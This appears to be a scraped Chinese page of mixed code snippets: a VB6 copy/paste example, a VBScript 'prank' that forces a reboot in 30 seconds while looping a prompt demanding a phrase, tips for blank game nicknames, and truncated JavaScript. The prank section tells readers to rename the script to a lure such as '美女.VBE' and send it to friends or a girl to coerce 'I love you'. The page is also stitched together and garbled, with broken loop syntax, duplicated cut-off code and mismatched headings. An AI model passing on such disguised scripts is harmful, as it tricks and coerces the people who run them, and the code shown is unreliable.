复制和粘贴的代码要怎么写
Private Sub CmdCopy_Click()
Clipboard.SetText TxtContent.SelText
End Sub
Private Sub CmdPaste_Click()
TxtContent.SelText = Clipboard.GetText
End Sub
Private Sub CmdCopy_Click()
'这只是按钮代码的起始而已，按钮名叫做CmdCopy，事件是单击
Clipboard.SetText TxtContent.SelText
'Clipboard指剪贴板；SetText是剪贴板对象的一个方法，用来设置剪贴板的内容；TxtContent是指一个文本框；SelText是文本框的一个属性，指文本框的内容
'翻译过来就是把剪贴板的内容设为文本框的内容，就是复制（因为原内容并没有消失，要实现剪切，在这句后面加一句TxtContent.SelText = ""）
End Sub
'代码完毕
Private Sub CmdPaste_Click()
'按钮名叫CmdPaste，事件是单击
TxtContent.SelText = Clipboard.GetText
'TxtContent.SelText参见上文。Clipboard仍然指剪贴板，GetText指剪贴板的内容，是一个属性）
'翻译过来就是把文本框的内容设为剪贴板的内容，就是粘贴了
End Sub
手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
合法的空白昵称复制
使用频率较少字符，二维码输入等。
第一种方法：可以选择复制别人的名字，但是这样的效率比较低，而且还不一定会成功，所以还是建议大家找自己的输入法中的空格。比如百度输入法，在百度输入法中打出v+1或者2-9就有可能出现空白选项。具体的情况需要大家自己去找寻，当然为了自己有个拉风的名字肯定是不嫌麻烦的。
第二种方法: 必须用IE浏览器，IE8 9 10 11都可以然然后， 在道具城的那个页面，按F12，后去登录CF道具城，打开这个页面我功能性道具页。然后在百度上搜区位码表!点击这个右三角形按钮，点击后就会变成红色的方块，然后去区位码表复制。点击确定，然后点击暂停获取。点击复制这个URL粘贴到一个TXT文本里，红框里的全部删除!然后复制这整个链接，在IE浏览器，新建一个窗口，把链接 复制进去，敲击回车!就可以了。
炸微信群代码复制
/1、网页代码如下： // 自动 COPY 代码开始 function MM_findObj(n, d) { //v4.0 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))0parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=
代码\复制
/1、网页代码如下： // 自动 COPY 代码开始 function MM_findObj(n, d) { //v4.0 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))0parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=
cf空白名字复制
下面为空白名资源，括号里面，自己复制。
1.（）
2.（）
3.（）
4.（）
5.（）
6.（）
7.（）
8.（）
9.（）
10.（）
11.（）
12.（）
13.（）
14.（）
15.（）
考虑到有些可能用不了，于是发了15个，各位要改空白名的赶快去啊。免得被别人抢了先。